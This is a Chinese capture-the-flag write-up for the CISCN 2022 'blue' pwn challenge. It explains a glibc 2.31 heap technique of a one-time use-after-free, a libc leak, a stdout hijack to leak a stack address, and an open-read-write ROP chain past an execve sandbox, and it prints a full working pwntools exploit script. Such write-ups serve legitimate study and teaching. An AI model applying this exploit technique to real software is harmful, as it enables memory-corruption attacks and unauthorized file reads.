[CISCN 2022 华东北]blue wp

复习不完了沃日
glibc 2.31-0ubuntu9.8,缺少edit()的菜单题
有沙盒保护禁用了execve(),并且程序禁用了__malloc_hook和'__free_hook'

此题依旧打堆栈结合的orw rop,不过此题有且仅有一次uaf的机会在case 666中,show()也只能使用一次,可以将这一次机会用来泄露libc
不过打堆栈结合的rop仍需知道栈地址,于是我们可以考虑劫持堆到_IO_2_1_stdout处泄露__environ存储的栈地址,之后测算到add()的ret地址偏移为0x120,我们可以劫持到ret-0x128处,为./flag\x00\x00预留空间
此题麻烦的是overlap chunk的创建
可见exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=remote("node4.anna.nssctf.cn",28678)
io=process("./pwn")   #禁用hook,禁用execve
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

def add(s,cc): #最大0x90
    io.sendlineafter(b"Choice: ",b"1")
    io.sendlineafter(b"size: \n",str(s))
    io.sendafter(b"content: \n",cc)
    
def delete(n):
    io.sendlineafter(b"Choice: ",b"2")
    io.sendlineafter(b"idx: \n",str(n))

def show(n):    #只能使用一次
    io.sendlineafter(b"Choice: ",b"3")
    io.sendlineafter(b"idx: \n",str(n))

def gt(n):
    io.sendlineafter(b"Choice: ",b"666")
    io.sendlineafter(b"idx: \n",str(n))

gdb.attach(io)
pause()

for i in range(9):
    add(0x90,b"aaa")  #为了后续构造overlap chunk多分配一个堆块
    
add(0x90,b"bbb") #9

for i in range(7):
    delete(i)

gt(8)
show(8)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x60-0x1ECB80
print("leak_addr: ",hex(leak_addr))


open_a=leak_addr+libc.sym[b"open"]
read_a=leak_addr+libc.sym[b"read"]
write_a=leak_addr+libc.sym[b"write"]
environ=leak_addr+libc.sym[b"__environ"]
stdout=leak_addr+libc.sym[b"_IO_2_1_stdout_"]
pop_rdi=leak_addr+0x23b6a 
pop_rdx=leak_addr+0x142c92
pop_rax=leak_addr+0x36174
pop_rsi=leak_addr+0x2601f 
ret=leak_addr+0x22679


delete(7) #chunk 7与unsortedbin合并  chunk overlap
add(0x90,b"zzz") #0 将tcachebin数量减少到6,为unsortedbin预留tcachebin


delete(8) #UAF将unsortedbin放入tcachebin中
add(0x80,b"aaa") #1
add(0x80,p64(0)+p64(0xa1)+p64(stdout)) #2
add(0x90,b"eee") #3
add(0x90,p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8)*2) #4

stack_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("stack_addr: ",hex(stack_addr))

ret_addr=stack_addr-0x128 #偏移为0x120,额外的0x8写./flag字符串

#open
orw=b"./flag\x00\x00"+p64(pop_rdi)+p64(ret_addr)+p64(pop_rsi)+p64(0)+p64(open_a)
#read
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x200)+p64(pop_rdx)+p64(0x50)+p64(read_a)
#write
orw+=p64(pop_rdi)+p64(1)+p64(pop_rdx)+p64(0x50)+p64(write_a)
#注意orw链长度不能大于创建堆块的大小

delete(3) 
delete(2) #释放堆块再次overlap

add(0x80,p64(0)+p64(0xa1)+p64(ret_addr))
add(0x90,b"eee")

# gdb.attach(io)
# pause()

add(0x90,orw)

io.interactive()